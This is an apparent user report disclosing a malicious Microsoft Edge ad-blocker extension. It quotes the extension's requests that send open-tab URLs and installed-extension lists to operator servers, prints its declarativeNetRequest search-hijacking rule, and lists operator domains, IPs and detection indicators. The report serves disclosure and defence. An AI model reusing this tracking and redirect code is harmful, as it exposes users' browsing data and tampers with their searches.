Malicious Microsoft Edge extension — user tracking and blocks #639

In short

My name is Vladislav, I have discovered a
malicious Microsoft Edge extension that causes real harm to users. The extension
has already been removed from the store, yet it continues to run on user machines —
they have received no notification and have no way to find out about it on their own.

What happens to users

A user installs the extension believing it is an ordinary ad blocker. On the surface
that is exactly how it looks. Meanwhile, in the background, the extension:

• On browser launch, sends the URLs of all open tabs to the operator's analytics servers
• Intercepts and covertly modifies the user's search requests
• Injects third-party content on top of website pages
• Initiates automatic repeated requests, because of which anti-bot systems treat the
  activity as an attack and block the user

The person simply uses the browser and starts getting blocked on websites for no
visible reason. There is no indication that the extension is to blame.

Extension details

Name:    Adblock - бесплатный блокировщик рекламы
ID:      ledmdmfdofnjdbangoiehplgmkmekekc
Version: 37.16
Browser: Microsoft Edge 147.0.3912.72
Status:  Removed from the store, still running for users

How it works

On every browser launch the extension sends activity signals to the operator's C2
server:

POST https://adblockpl.com/api/v2/extensions/activity
Authorization: Bearer <token>
Extension-Id: ledmdmfdofnjdbangoiehplgmkmekekc
Extension-Version: 37.16

{"type": 1}
{"type": 2}

On launch it sends the URLs of all open tabs to the analytics server:

POST https://analytics.get-rebates.com/api/extension/urls

{
  "url": "https://example.com/page",
  "extensionId": "b127db2b8ffc4432bd2fb0d42a9e2765-edge-822",
  "extensionVersion": "37.16",
  "tabId": 1475304028,
  "referrer": "",
  "extensions": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi"]
}

Note the -edge-822 suffix in the extensionId field — the operator's
infrastructure clearly tracks users broken down by browser. The extensions field
means the operator also collects the list of all other extensions installed in the
browser. Local user files (file:///) are transmitted as well.

The extension fetches the request-tampering configuration from a separate endpoint:

GET https://analytics.get-rebates.com/search-config/get

Response:
{"ok": true, "data": [{"id": "<value>"}]}

Based on this configuration it installs interception rules via declarativeNetRequest:

chrome.declarativeNetRequest.updateDynamicRules({
  addRules: [{
    action: {
      type: "redirect",
      redirect: {
        transform: {
          queryTransform: {
            removeParams: [
              "search_source", "sourceid", "form", "lr"
            ],
            addOrReplaceParams: [{
              key: "id",
              value: "<value from C2>"
            }]
          }
        }
      }
    },
    condition: {
      urlFilter: "||ya.ru/search*",
      resourceTypes: ["main_frame"]
    }
  }
  // analogous rules with condition.urlFilter "||yandex.ru/search*" and "||yandex.kz/search*"
  ]
})

The interception rules fire only on search requests to ya.ru/search,
yandex.ru/search and yandex.kz/search — the mechanism has no other targets in
the code. This is exactly where the user gets blocked: the repeated requests
initiated by the extension are treated by the respective services' anti-bot systems
as automated activity.

The configuration is fetched dynamically on every launch — the operator can change
the parameters remotely for all users at once without updating the extension.

In addition, the extension injects third-party banners into website pages:

GET https://turboboost.pro/api/banners
GET https://turboboost.pro/api/configs
GET https://s3.turboboost.pro/turboboost/chadgpt/2yandexSearch.webp

Operator infrastructure

adblockpl.com
get-rebates.com
analytics.get-rebates.com
turboboost.pro / s3.turboboost.pro
mallbery.com / savematik.com
IP: 185.234.59.0/24, 185.162.11.14

The infrastructure pattern suggests the operator may have other active extensions of
the same origin in the store.

Indicators for finding similar extensions

In code:
— declarativeNetRequest redirect on user search requests
— queryTransform removing traffic source-attribution parameters
— POST requests with open-tab URLs to external servers on browser start
— fetching configuration from a remote C2 on every browser launch
— calls to turboboost.pro for content injection

In permissions:
— <all_urls> + webRequest + tabs for a declared ad-blocker function

What I ask

The extension has been removed from the store, but users who have it installed keep
suffering right now. Two things that would genuinely help:

1. Force-disable the extension for users who have it installed and notify them with a
   recommendation to check their browser. Removal from the store alone does not do this.

2. Check the store for other extensions connecting to the operator's infrastructure
   listed above.